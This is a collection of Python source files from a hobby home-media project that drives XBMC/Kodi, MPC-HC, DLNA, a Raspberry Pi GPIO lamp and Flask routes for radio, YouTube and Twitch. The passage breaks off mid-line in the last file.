"alphanum_fraction": 0.6666666865348816, "avg_line_length": 17.25, "blob_id": "a7b46dc56c1ad4191802ded9538beab7a00cc513", "content_id": "c797a9bc77a16d859df7257efb1b1935524c1db7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 147, "license_type": "no_license", "max_line_length": 45, "num_lines": 8, "path": "/services/nrf/nrf_msg.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "import struct\n\ndef pack_message(value):\n pkt = struct.pack(\"BBhI\", 42, 1, 2, value)\n return pkt\n\ndef unpack_message(raw_msg):\n return None\n\n" }, { "alpha_fraction": 0.5808081030845642, "alphanum_fraction": 0.5833333134651184, "avg_line_length": 26.310344696044922, "blob_id": "c8cce17dbf286ef69445f427ddd382d0e6a96061", "content_id": "ea0a5e97770ff774ea4cba0ad15c0100e6698627", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 792, "license_type": "no_license", "max_line_length": 67, "num_lines": 29, "path": "/python/greenhouse.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "import url_handler\nfrom gpio import RaspiGPIOOut\n\nclass LampHandler:\n\n def __init__(self):\n self.gpio = RaspiGPIOOut(3)\n\n def __call__(self, params, **kwargs):\n try:\n command = params[0]\n except:\n return \"wrong request\"\n if command == 'on':\n self.gpio.setValue(True)\n elif command == 'off':\n self.gpio.setValue(False)\n elif command != 'state':\n return \"wrong request\"\n return \"{}\".format(self.gpio.getValue())\n \nclass App:\n\n def __init__(self):\n self.dispatcher = url_handler.UrlDispatcher()\n self.dispatcher.addHandler('/srv/lamp', LampHandler())\n\n def processRequest(self, req_handler):\n return self.dispatcher.dispatchUrl(req_handler.request.uri)\n" }, { "alpha_fraction": 0.6028814315795898, "alphanum_fraction": 0.6169191002845764, "avg_line_length": 28.423913955688477, "blob_id": "06dd57634d954dabf000e2deaee60aa04169db67", "content_id": "a9bd82bb1d0226b73831cfb1645fc58d3c457e92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2707, "license_type": "no_license", "max_line_length": 124, "num_lines": 92, "path": "/python/dlna.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\nfrom xml.dom.minidom import parseString\nimport http.client\n\n\ndef printElement(el, indent=0):\n for child in el.childNodes:\n pass\nendpoint = \"192.168.1.115:8200\"\nenvelope = \"\"\"\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<s:Body>\n<u:Browse xmlns:u=\"urn:schemas-upnp-org:service:ContentDirectory:1\">\n<ObjectID>%s</ObjectID>\n<BrowseFlag>BrowseDirectChildren</BrowseFlag>\n<Filter>*</Filter>\n<StartingIndex>0</StartingIndex>\n<RequestCount>10</RequestCount>\n</u:Browse>\n</s:Body>\n</s:Envelope>\n\"\"\"\n\n\ndef getNodeContent(node, content):\n return node.getElementsByTagName(content)[0].childNodes[0].nodeValue\n\n\ndef getTitle(node):\n return getNodeContent(node, 'dc:title')\n\n\ndef getUrl(node):\n return getNodeContent(node, 'res')\n\n\nclass DLNAClient:\n\n def __init__(self):\n self.c = http.client.HTTPConnection(endpoint)\n\n def GetContainers(self, id):\n self.c.request(\"POST\", \"\", envelope % id, headers={\n \"SOAPACTION\": \"urn:schemas-upnp-org:service:ContentDirectory:1#Browse\"})\n resp = self.c.getresponse()\n data = resp.read().decode('utf-8')\n dom = parseString(data)\n data_dom = self.getDataElement(dom)\n containers = data_dom.documentElement.getElementsByTagName('container')\n items = data_dom.documentElement.getElementsByTagName('item')\n c = self.convertContainer(containers)\n i = self.convertItems(items)\n return (c, i)\n\n def getDataElement(self, dom):\n text = dom.documentElement.childNodes[0].childNodes[\n 0].childNodes[0].childNodes[0].nodeValue\n data_dom = parseString(text)\n return data_dom\n\n def convertContainer(self, container):\n result = []\n for c in container:\n title = getTitle(c)\n id = c.getAttribute('id')\n child = c.getAttribute('childCount')\n result.append({'title': title, 'id': id, 'childs': child})\n return result\n\n def convertItems(self, items):\n result = []\n for i in items:\n id = i.getAttribute('id')\n title = getTitle(i)\n link = getUrl(i)\n dur = i.getElementsByTagName('res')[0].getAttribute('duration')\n result.append({'title': title, 'link': link,\n 'duration': dur, 'id': id})\n return result\n\n\ndef getDLNAItems(id='64'):\n try:\n client = DLNAClient()\n c, i = client.GetContainers(id)\n return c, i\n except:\n return [], []\nif __name__ == \"__main__\":\n print(str(getDLNAItems('64$2$0')))\n" }, { "alpha_fraction": 0.5714513063430786, "alphanum_fraction": 0.5797170400619507, "avg_line_length": 35.36416244506836, "blob_id": "889126f5a9978dadd452d737e61175e085701647", "content_id": "86d8e9fec1884425d421ed58d16927071a300450", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6291, "license_type": "no_license", "max_line_length": 137, "num_lines": 173, "path": "/python/xbmc.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport json\nfrom web_backend import ServiceConnection\nfrom utils import Singleton\n\n\nclass JsonRPC:\n\n def __init__(self):\n self.connection = ServiceConnection(\"127.0.0.1:8082\")\n self.template = '{\"jsonrpc\":\"2.0\",\"id\":\"1\",\"method\":\"%s\",\"params\":%s}'\n self.url_template = \"/jsonrpc\"\n self.hdrs = {\"Content-Type\": \"application/json\"}\n\n def method(self, method, params):\n body = self.template % (method, json.dumps(params))\n resp = self.connection.getData(\n self.url_template, headers=self.hdrs, data=body)\n return json.loads(resp)\n\n\nclass XBMC(metaclass = Singleton):\n\n def __init__(self):\n self.rpc = JsonRPC()\n self.activePlayerId = 1\n\n def GetPlayLists(self):\n return self.rpc.method(\"Playlist.GetPlaylists\", {})\n\n def GetPlayListItems(self, id):\n return self.rpc.method(\"Playlist.GetItems\", {\"playlistid\": id})\n\n def AddToPlayList(self, id, item, type=\"file\"):\n return self.rpc.method(\"Playlist.Add\", {\"playlistid\": id, \"item\": {type: item}})\n\n def ClearPlaylist(self, id):\n return self.rpc.method(\"Playlist.Clear\", {\"playlistid\": id})\n\n def StartPlaylist(self, id):\n return self.rpc.method(\"Player.Open\", {\"item\": {\"playlistid\": id}, \"options\": {\"shuffled\": True, \"repeat\": \"all\"}})\n\n def Open(self, item):\n return self.rpc.method(\"Player.Open\", {\"item\": {\"file\": item}})\n\n def getActivePlayer(self):\n return self.rpc.method(\"Player.GetActivePlayers\", {})\n\n def DoWithPlayerId(self, func):\n for i in range(0, 3):\n resp = func(self)\n if \"error\" in resp:\n try:\n print(\"error: \" + json.dumps(resp))\n playerReq = self.getActivePlayer()\n self.activePlayerId = playerReq[\"result\"][0][\"playerid\"]\n except Exception as e:\n return {\"error\": e}\n else:\n return resp\n return {}\n\n def Goto(self, pos):\n def _Goto(self):\n return self.rpc.method(\"Player.GoTo\", {\"playerid\": self.activePlayerId, \"to\": pos})\n return self.DoWithPlayerId(_Goto)\n\n def PlayPause(self):\n def _PlayPause(self):\n return self.rpc.method(\"Player.PlayPause\", {\"playerid\": self.activePlayerId})\n return self.DoWithPlayerId(_PlayPause)\n\n def Seek(self, val):\n def _Seek(self):\n return self.rpc.method(\"Player.Seek\", {\"playerid\": self.activePlayerId, \"value\": val})\n return self.DoWithPlayerId(_Seek)\n\n def Stop(self):\n def _Stop(self):\n return self.rpc.method(\"Player.Stop\", {\"playerid\": self.activePlayerId})\n return self.DoWithPlayerId(_Stop)\n\n def GetPosition(self):\n def _GetPosition(self):\n return self.rpc.method(\"Player.GetProperties\", {\"playerid\": self.activePlayerId,\n \"properties\": [\"playlistid\", \"position\", \"totaltime\", \"time\", \"percentage\"]})\n return self.DoWithPlayerId(_GetPosition)\n\n def GetItem(self):\n def _GetItem(self):\n return self.rpc.method(\"Player.GetItem\", {\"playerid\": self.activePlayerId,\n \"properties\": []})\n return self.DoWithPlayerId(_GetItem)\n\n def SetAudioDevice(self, device):\n return self.rpc.method(\"Settings.SetSettingValue\", {'setting': 'audiooutput.audiodevice', 'value': device})\n\n def openYoutubeVideo(self, video_id):\n yt_template = \"plugin://plugin.video.youtube/play/?video_id=%s\"\n resp = self.rpc.method(\n \"Player.Open\", {\"item\": {\"file\": yt_template % video_id}})\n return resp\n\n def openYoutubeList(self, list_id):\n yt_template = \"plugin://plugin.video.youtube/play/?playlist_id=%s&order=default\"\n resp = self.rpc.method(\"Player.Open\", {\"item\": {\"file\": yt_template % list_id},\n \"options\": {\"shuffled\": False, \"repeat\": \"all\"}})\n return resp\n\n def openTwitchStream(self, video_id):\n twitch_template = \"plugin://plugin.video.twitch/playLive/%s/0\"\n resp = self.rpc.method(\n \"Player.Open\", {\"item\": {\"file\": twitch_template % video_id.lower()}})\n return resp\n\n def setVolume(self, volume):\n resp = self.rpc.method(\"Application.SetVolume\", {\"volume\": volume})\n return resp\n\n def getVolume(self):\n resp = self.rpc.method(\"Application.GetProperties\", {\n \"properties\": [\"volume\"]})\n return resp\n\n def Action(self, action):\n resp = self.rpc.method(\"Input.ExecuteAction\", {\"action\": action})\n return resp\n\nif __name__ == \"__main__\":\n import sys\n rpc = JsonRPC()\n xbmc = XBMC()\n js = None\n if \"clear\" in sys.argv:\n js = xbmc.ClearPlaylist(0)\n elif \"play\" in sys.argv:\n js = xbmc.StartPlaylist(0)\n elif \"list\" in sys.argv:\n js = xbmc.GetPlayListItems(0)\n elif \"lists\" in sys.argv:\n js = xbmc.GetPlayLists()\n elif \"info\" in sys.argv:\n js = xbmc.GetItem()\n elif \"add\" in sys.argv:\n js = xbmc.AddToPlayList(0, \"/mnt/music/5nizza\", \"directory\")\n elif \"pos\" in sys.argv:\n js = xbmc.GetPosition()\n elif \"seek\" in sys.argv:\n js = xbmc.Seek(54)\n elif \"device\" in sys.argv:\n js = xbmc.SetAudioDevice('PI:HDMI')\n elif \"stop\" in sys.argv:\n js = xbmc.Stop()\n elif \"volume\" in sys.argv:\n js = xbmc.setVolume(100)\n elif \"getvolume\" in sys.argv:\n js = xbmc.getAppProperties()\n elif \"action\" in sys.argv:\n js = xbmc.Action(\"playpause\")\n elif \"youtube\" in sys.argv:\n js = xbmc.openYoutubeList(\"PL4B999A7ABBB327A1\")\n elif \"twitch\" in sys.argv:\n js = xbmc.openTwitchStream(\"Miramisu\")\n elif \"goto\" in sys.argv:\n js = xbmc.Goto(1)\n print(js)\n print(js)\n print(json.dumps(js, indent=2))\n #js = rpc.method(\"Files.GetDirectory\",{\"directory\":\"/mnt/nfs/.hidden\",\"properties\":[\"size\"]} )\n #js = xbmc.openYoutubeVideo('V9WY94PfOs8')\n # js = rpc.method(\"Player.Open\",{\"item\":{\"file\":\"http://s10.voscast.com:10002\"} } )\n #js = xbmc.GetPlayLists()\n #js = xbmc.GetPlayListItems(0)\n" }, { "alpha_fraction": 0.47945767641067505, "alphanum_fraction": 0.4831553101539612, "avg_line_length": 34.27536392211914, "blob_id": "f77aac0e2832010c05ff55f748fbba0d9db59429", "content_id": "01caad39bdaa8ed44345dca946ed40b7501f30f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2434, "license_type": "no_license", "max_line_length": 79, "num_lines": 69, "path": "/python/web_backend.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "import http.client\nimport urllib\n\n\nclass ConnectionRetriesiExceeded(Exception):\n\n def __init__(self, retries):\n Exception.__init__(\n self, \"Failed to connect after %d attemps\" % retries)\n\n\nclass ServiceConnection:\n\n def __init__(self, host, https=False):\n self.host = host\n self.retries = 3\n self.https = https\n self.c = None\n\n def tryToConnect(self):\n retry_count = self.retries\n while retry_count:\n try:\n print(\"connecting \", self.host)\n if self.https:\n self.c = http.client.HTTPSConnection(self.host)\n else:\n self.c = http.client.HTTPConnection(self.host)\n self.c.set_debuglevel(0)\n print(\"connected\")\n return\n except Exception:\n print(\"reconnecting\")\n retry_count -= 1\n raise ConnectionRetriesiExceeded(self.retries)\n\n def getData(self, req, withHeaders=False, headers=None, data=None):\n try:\n if not self.c:\n self.tryToConnect()\n request_retries = 3\n while request_retries:\n try:\n if data:\n self.c.request(\"POST\", req, body=data, headers=headers)\n else:\n if headers:\n self.c.request(\"GET\", req, headers=headers)\n else:\n self.c.request(\"GET\", req)\n resp = self.c.getresponse()\n if resp.status != 200:\n print(\"bad response: \" + str(resp.status))\n return \"Bad response\"\n data = resp.read().decode(\"utf-8\")\n if withHeaders:\n return (data, resp.headers)\n else:\n return data\n # Broken pipe occures on https connection\n # Probably due to the python https implementation\n # paticularities\n except (http.client.HTTPException, BrokenPipeError):\n print(\"retry request\")\n request_retries -= 1\n self.tryToConnect()\n except ConnectionRetriesiExceeded:\n return \"Cannot connect to \" + self.host\n return \"Cannot serve request\"\n" }, { "alpha_fraction": 0.597518265247345, "alphanum_fraction": 0.6181991696357727, "avg_line_length": 24.97520637512207, "blob_id": "b517bbe647d1d2c3f8bd15ce0f1e6bf08b1a4789", "content_id": "f0cdfb0505491db16f12ed43eea9852b01f3204b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3143, "license_type": "no_license", "max_line_length": 100, "num_lines": 121, "path": "/python/mpc.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nimport http.client\nimport threading\nimport re\nfrom utils import runCommand\n\nplayer_thread = None\n\n\ndef runPlayer(path):\n #runCommand(\"export DISPLAY=:0;sudo -u dima vlc -f \\\"%s\\\" &\" % path)\n #runCommand(\"sudo -u dima totem --fullscreen --display=:0 \\\"%s\\\"\" % path)\n #runCommand(\"export DISPLAY=:0; sudo -u dima mplayer --fs \\\"%s\\\"\" % path)\n #runCommand(r'\"c:\\Program Files (x86)\\vlc-2.2.0\\vlc.exe\" -f \"%s\"' % path)\n runCommand(\n r'\"c:\\Program Files (x86)\\K-Lite Codec Pack\\MPC-HC64\\mpc-hc64.exe\" /fullscreen \"%s\"' % path)\n\n\ndef spawnPlayer(path):\n global player_thread\n # if player_thread:\n # runCommand(\"sudo -u dima pkill -9 mplayer\")\n player_thread = threading.Thread(target=runPlayer, args=(path, ))\n player_thread.start()\n\nmpc_ep = '127.0.0.1:13579'\ncommand_url = \"/command.html\"\nvar_url = \"/variables.html\"\nreg_exp = r'<p id=\"%s\">(.*)</p>'\nstate_reg = re.compile(reg_exp % 'state')\nPAUSE_STATE = '1'\nPLAY_STATE = '2'\nposition_reg = re.compile(reg_exp % 'positionstring')\nduration_reg = re.compile(reg_exp % 'durationstring')\nsize_reg = re.compile(reg_exp % 'size')\nfile_reg = re.compile(reg_exp % 'file')\n\n\ndef safeGetValue(data, exp):\n try:\n return re.search(exp, data).group(1)\n except:\n return ''\n\n\ndef parseMPCInfo(data):\n return {\n 'duration': safeGetValue(data, duration_reg),\n 'position': safeGetValue(data, position_reg),\n 'file': safeGetValue(data, file_reg),\n 'state': safeGetValue(data, state_reg)\n }\n\n\nclass MPCPlayer:\n\n def createConn(self):\n self.c = http.client.HTTPConnection(mpc_ep)\n\n def __init__(self):\n self.createConn()\n\n def sendCommandRequest(self, body):\n try:\n self.c.request(\"POST\", command_url, body)\n resp = self.c.getresponse()\n return resp.read()\n except:\n self.createConn()\n return \"Error, connecting again\"\n\n def sendCommandCode(self, code):\n self.sendCommandRequest('wm_command=%d' % code)\n\n def getInfo(self):\n self.c.request(\"GET\", var_url)\n resp = self.c.getresponse()\n data = resp.read().decode('utf-8')\n match = re.search(state_reg, data)\n return parseMPCInfo(data)\n\n def pplay(self):\n self.sendCommandCode(889)\n\n def play(self):\n self.sendCommandCode(887)\n\n def pause(self):\n self.sendCommandCode(888)\n\n def nextAudio(self):\n self.sendCommandCode(952)\n\n def seek(self, percent):\n self.sendCommandRequest('wm_command=-1&percent=%d' % percent)\n\n def jumpForward(self):\n self.sendCommandCode(900)\n\n def jumpFForward(self):\n self.sendCommandCode(902)\n\n def jumpFFForward(self):\n self.sendCommandCode(904)\n\n def jumpBack(self):\n self.sendCommandCode(899)\n\n def jumpBBack(self):\n self.sendCommandCode(901)\n\n def jumpBBBack(self):\n self.sendCommandCode(903)\n\n def fullscreen(self):\n self.sendCommandCode(830)\nif __name__ == \"__main__\":\n player = MPCPlayer()\n print(player.getInfo())\n player.fullscreen()\n # player.seek(2)\n" }, { "alpha_fraction": 0.6218888759613037, "alphanum_fraction": 0.6263211965560913, "avg_line_length": 26.364486694335938, "blob_id": "0a4dea92efb5dfa1957984cb6e51cd8add520d33", "content_id": "8aee3b9934240fd6b6dbdf9723502b311b8c1766", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2933, "license_type": "no_license", "max_line_length": 61, "num_lines": 107, "path": "/python/raspi/raspi_media.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "from flask_raspi import app\nfrom flask import abort\nfrom xbmc import XBMC\nfrom dirble_backend import Dirble\nfrom mocp import MOCP\nfrom utils import ConnectionRefusedHandler, makeErrorResponse\nimport json\n\ndirble = Dirble()\nxbmc = XBMC()\nmocp = MOCP()\n\[email protected](\"/radio/page/<int:number>\")\n@ConnectionRefusedHandler\ndef browseRadio(number):\n dirble.current_page = number\n page_info = dirble.loadList()\n pi = [{\"id\": x[\"id\"],\n \"name\": x[\"name\"],\n \"country\": x[\"country\"],\n \"up\": len(x[\"streams\"]) != 0} for x in page_info]\n return json.dumps(pi)\n\[email protected](\"/radio/play/<int:station>\")\n@ConnectionRefusedHandler\ndef playStation(station):\n station_info = dirble.getStationInfo(station )\n if len(station_info[\"streams\"]) > 0:\n stream = station_info[\"streams\"][0][\"stream\"]\n xbmc.Open(stream)\n xbmc.SetAudioDevice('PI:Analogue')\n return stream\n\[email protected](\"/radio/stop\")\n@ConnectionRefusedHandler\ndef radioStop():\n xbmc.Stop()\n xbmc.SetAudioDevice('PI:HDMI')\n return \"stopped\"\n\[email protected](\"/radio/info\")\ndef getInfo():\n return MOCP.getCurrentTitle()\n\[email protected](\"/volume/<string:action>\")\ndef radioVolume(action):\n if action == \"up\":\n mocp.volumeUp()\n elif action == \"down\":\n mocp.volumeDown()\n elif action == 'get':\n return str(MOCP.volume())\n else:\n abort(404)\n return str(mocp.vol)\n\[email protected](\"/volume/set/<int:value>\")\ndef radioSetVolume(value):\n print(\"volume\")\n MOCP.setVolume(value)\n return 'ok'\n\ndef playerInfo():\n position = xbmc.GetPosition()[\"result\"]\n position[\"label\"] = xbmc.GetItem()[\"result\"][\n \"item\"][\"label\"]\n return json.dumps(position)\n\[email protected](\"/player/<string:action>\")\[email protected](\"/player/<string:action>/<int:value>\")\n@ConnectionRefusedHandler\ndef playerAction(action, value = None):\n if action == \"forward\":\n xbmc.Seek(\"smallforward\")\n elif action == \"pplay\":\n xbmc.PlayPause()\n elif action == \"backward\":\n xbmc.Seek(\"smallbackward\")\n elif action == \"audio\":\n xbmc.Action(\"audionextlanguage\")\n elif action == \"info\":\n return playerInfo()\n elif action == \"seek\":\n return json.dumps(xbmc.Seek(value)[\"result\"])\n elif action == \"playlist\":\n js = xbmc.GetPlayListItems(0)\n return json.dumps(js[\"result\"])\n elif action == \"goto\":\n js = xbmc.Goto(value)\n return json.dumps(js)\n else:\n abort(404)\n return \"ok\"\n\[email protected](\"/player/volume/<string:action>\")\[email protected](\"/player/volume/<string:action>/<int:value>\")\n@ConnectionRefusedHandler\ndef changeVolume(action, value = None):\n print (\"action is {}, value is {}\".format(action,value))\n if action == \"get\":\n vol = xbmc.getVolume()[\"result\"][\"volume\"]\n return str(vol)\n elif action == \"set\":\n xbmc.setVolume(value)\n return \"ok\"\n else:\n abort(404)\n \n" }, { "alpha_fraction": 0.5618374347686768, "alphanum_fraction": 0.5641931891441345, "avg_line_length": 29.85454559326172, "blob_id": "e2138529d6d9f5ceb219a1c657701ca465c9a3d0", "content_id": "f9859716f8f56692d25840736b4b4021aa528471", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1698, "license_type": "no_license", "max_line_length": 93, "num_lines": 55, "path": "/python/raspi/raspi_youtube.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "from flask_raspi import app\nfrom flask import abort, request\nimport urllib.parse\nfrom xbmc import XBMC\nimport json\nfrom youtube import YouTube\nfrom utils import ConnectionRefusedHandler\n\nyt = YouTube()\nxbmc = XBMC()\n\[email protected](\"/youtube/search/<string:query>\")\n@ConnectionRefusedHandler\ndef youtubeSearch(query):\n try:\n js = yt.search(query, \n token = request.args.get(\"token\", None),\n type = request.args.get(\"type\", \"video\"))\n except Exception as e:\n return \"not ok: \" + str(e)\n items = [{\n \"id\": x[\"id\"][\"playlistId\"] if \"playlistId\" in x[\"id\"] else x[\"id\"][\"videoId\"],\n \"title\": x[\"snippet\"][\"title\"],\n \"thumbnail\": x[\"snippet\"][\"thumbnails\"][\"medium\"][\"url\"],\n \"published\": x[\"snippet\"][\"publishedAt\"]}\n for x in js[\"items\"] \n if x[\"id\"][\"kind\"] == \"youtube#video\" or \n x[\"id\"][\"kind\"] == \"youtube#playlist\"\n ]\n res = {\"items\": items}\n if \"nextPageToken\" in js:\n res[\"nextToken\"] = js[\"nextPageToken\"]\n if \"prevPageToken\" in js:\n res[\"prevToken\"] = js[\"prevPageToken\"]\n result = json.dumps(res)\n return result\n\[email protected]('/youtube/<string:action>/<string:value>')\n@ConnectionRefusedHandler\ndef youtubeAction(action, value):\n if action == \"play\":\n try:\n xbmc.openYoutubeVideo(value)\n return \"ok\"\n except IndexError:\n return \"not ok\"\n elif action == \"playlist\":\n try:\n xbmc.openYoutubeList(value)\n xbmc.StartPlaylist(1)\n return \"ok\"\n except IndexError:\n return \"not ok\"\n else:\n abort(404)\n\n" }, { "alpha_fraction": 0.5903083682060242, "alphanum_fraction": 0.6005873680114746, "avg_line_length": 19.636363983154297, "blob_id": "01f4003a8ae5a7d28070a13a3a762063a8f213a9", "content_id": "3f471793f7c75cefd03f3ba35822f5c85cec72dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 681, "license_type": "no_license", "max_line_length": 39, "num_lines": 33, "path": "/python/gpio.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# How to install RPi module:\n# sudo apt-get install python3-rpi.gpio\n\n\ntry:\n import RPi.GPIO as GPIO\nexcept ImportError:\n print(\"Cannot import GPIO\")\nPORT = 4\n\nclass RaspiGPIOOut:\n\n def __init__(self, port):\n self.port = port\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(port, GPIO.OUT)\n\n def getValue(self):\n return GPIO.input(self.port)\n\n def setValue(self, val):\n GPIO.output(self.port, val)\n\nif __name__ == \"__main__\":\n pin4 = RaspiGPIOOut(PORT)\n if pin4.getValue():\n print(\"false\")\n pin4.setValue(False)\n else:\n pin4.setValue(True)\n print(\"true\")\n" }, { "alpha_fraction": 0.5211169123649597, "alphanum_fraction": 0.5249199271202087, "avg_line_length": 31.547231674194336, "blob_id": "a1f830b89daa2ee0d3e5a69cd7bc834deded95a5", "content_id": "7d24eda55a1f5c38adff4e8d072c4f9e264bb4c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9992, "license_type": "no_license", "max_line_length": 101, "num_lines": 307, "path": "/python/raspi.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport http.client\nimport html\nimport urllib.parse\nimport os\nimport sys\nimport json\nimport time\nimport pathlib\nfrom gpio import RaspiGPIOOut\nfrom dirble_backend import Dirble\nfrom mocp import MOCP\nimport url_handler\nfrom utils import FileBrowser, SystemUptime\nfrom omxplayer import OMXPlayer\nimport os.path\nfrom twitch import Twitch\nfrom xbmc import XBMC\nfrom youtube import YouTube\n\nmocp = None\n\ndef makeErrorResponse(msg):\n return json.dumps({'error': str(msg)})\n\n\nclass RadioHandler:\n\n def __init__(self, app):\n self.mocp = None\n self.app = app\n self.dirble = None\n\n def __call__(self, params, **kwargs):\n if not self.dirble:\n self.dirble = Dirble()\n command = params[0]\n if command == \"page\":\n val = params[1]\n self.dirble.current_page = int(val)\n page_info = self.dirble.loadList()\n print(page_info)\n pi = [{\"id\": x[\"id\"],\n \"name\": x[\"name\"],\n \"country\": x[\"country\"],\n \"up\": len(x[\"streams\"]) != 0} for x in page_info]\n return json.dumps(pi)\n elif command == \"play\":\n value = params[1]\n station_info = self.dirble.getStationInfo(int(value))\n if len(station_info[\"streams\"]) > 0:\n stream = station_info[\"streams\"][0][\"stream\"]\n self.app.xbmc.Open(stream)\n self.app.xbmc.SetAudioDevice('PI:Analogue')\n return stream\n elif command == \"stop\":\n self.app.xbmc.Stop()\n self.app.xbmc.SetAudioDevice('PI:HDMI')\n return \"stopped\"\n elif command == \"info\":\n return MOCP.getCurrentTitle()\n elif command == \"volume\":\n val = params[1]\n if not self.mocp:\n self.mocp = MOCP()\n if val == \"up\":\n self.mocp.volumeUp()\n elif val == \"down\":\n self.mocp.volumeDown()\n elif val == 'set':\n newval = params[2]\n MOCP.setVolume(int(newval))\n return 'ok'\n elif val == 'get':\n return str(MOCP.volume())\n return str(self.mocp.vol)\n\n\nclass SocketHandler:\n\n def __call__(self, params, **kwargs):\n command = params[0]\n socket = params[1]\n p = RaspiGPIOOut(int(socket))\n if command == 'set':\n val = params[2]\n p.setValue(val == \"1\")\n return \"ok\"\n elif command == 'switch':\n val = p.getValue()\n p.setValue(not val)\n return str(p.getValue())\n elif command == 'get':\n return str(p.getValue())\n return \"Unknown command\"\n\n\nclass BrowserHanlder(FileBrowser):\n\n def __init__(self, app):\n self.app = app\n FileBrowser.__init__(self, '/mnt/nfs/')\n\n def __call__(self, params, **kwargs):\n try:\n path = urllib.parse.unquote('/'.join(params))\n path = html.unescape(path)\n return self.processItemOnFS(path)\n except AttributeError:\n pass\n except FileBrowser.NotADirException:\n path = os.path.normpath(self.dir_path + '/' + path)\n\n print(path)\n self.app.xbmc.Open(path)\n return \"ok\"\n\n\nclass MusicBrowserHandler(FileBrowser):\n\n def __init__(self, app):\n self.app = app\n FileBrowser.__init__(self, '/mnt/music')\n\n def __call__(self, params, **kwargs):\n if len(params) != 0:\n path = urllib.parse.unquote('/'.join(params))\n path = html.unescape(self.dir_path + '/' + path)\n type = 'directory'\n if pathlib.Path(path).is_file():\n type = 'file'\n self.app.xbmc.Stop()\n self.app.xbmc.ClearPlaylist(0)\n self.app.xbmc.AddToPlayList(0, path, type=type)\n self.app.xbmc.StartPlaylist(0)\n self.app.xbmc.SetAudioDevice('PI:Analogue')\n return \"ok\"\n try:\n path = urllib.parse.unquote('/'.join(params))\n path = html.unescape(path)\n return self.processItemOnFS(path)\n except FileBrowser.NotADirException:\n return \"not a dir\"\n\n\nclass PlayerHandler:\n\n def __init__(self, app):\n self.app = app\n\n def __call__(self, params, **kwargs):\n command = params[0]\n print (command)\n if command == \"forward\":\n self.app.xbmc.Seek(\"smallforward\")\n elif command == \"pplay\":\n self.app.xbmc.PlayPause()\n elif command == \"backward\":\n self.app.xbmc.Seek(\"smallbackward\")\n elif command == \"audio\":\n self.app.xbmc.Action(\"audionextlanguage\")\n elif command == \"info\":\n return self.playerInfo()\n elif command == \"seek\":\n val = int(params[1])\n return json.dumps(self.app.xbmc.Seek(val)[\"result\"])\n elif command == \"volume\":\n operation = params[1]\n if operation == \"get\":\n vol = self.app.xbmc.getVolume()[\"result\"][\"volume\"]\n return str(vol)\n elif operation == \"set\":\n val = int(params[2])\n self.app.xbmc.setVolume(val)\n return \"ok\"\n return \"invalid request\"\n elif command == \"playlist\":\n js = self.app.xbmc.GetPlayListItems(0)\n return json.dumps(js[\"result\"])\n elif command == \"goto\":\n pos = params[1]\n js = self.app.xbmc.Goto(int(pos))\n return json.dumps(js)\n return \"ok\"\n\n def playerInfo(self):\n try:\n position = self.app.xbmc.GetPosition()[\"result\"]\n position[\"label\"] = self.app.xbmc.GetItem()[\"result\"][\n \"item\"][\"label\"]\n return json.dumps(position)\n except Exception as e:\n return makeErrorResponse(e)\n\n\nclass TwitchHandler:\n\n def __init__(self, app):\n self.app = app\n self.twitch = Twitch()\n\n def __call__(self, params, **kwargs):\n command = params[0]\n if command == \"games\":\n try:\n page = int(params[1])\n except Exception:\n page = 0\n return json.dumps(self.twitch.getGames(page))\n elif command == \"search\":\n game = params[1]\n page = int(params[2])\n print(\"game = %s page = %d \" % (game, page))\n return json.dumps(self.twitch.searchStreams(game, page))\n elif command == \"play\":\n channel = params[1]\n print(str(params))\n self.app.xbmc.openTwitchStream(channel)\n return \"Ok\"\n\n\nclass YouTubeHandler:\n\n def __init__(self, app):\n self.app = app\n self.yt = YouTube()\n\n def __call__(self, params, **kwargs):\n command = params[0]\n print(kwargs[\"handler\"].request.body)\n if command == \"search\":\n val = urllib.parse.unquote(params[1])\n url = urllib.parse.urlparse(val)\n queryParams = urllib.parse.parse_qs(url.query)\n try:\n js = self.yt.search(url.path, \n token = queryParams.get(\"token\",[None])[0],\n type = queryParams.get(\"type\", [\"video\"])[0])\n except Exception as e:\n return \"not ok: \" + str(e)\n items = [{\"id\": x[\"id\"][\"playlistId\"] if \"playlistId\" in x[\"id\"] else x[\"id\"][\"videoId\"],\n \"title\": x[\"snippet\"][\"title\"],\n \"thumbnail\": x[\"snippet\"][\"thumbnails\"][\"medium\"][\"url\"],\n \"published\": x[\"snippet\"][\"publishedAt\"]}\n for x in js[\"items\"] \n if x[\"id\"][\"kind\"] == \"youtube#video\" or \n x[\"id\"][\"kind\"] == \"youtube#playlist\"]\n res = {\"items\": items}\n if \"nextPageToken\" in js:\n res[\"nextToken\"] = 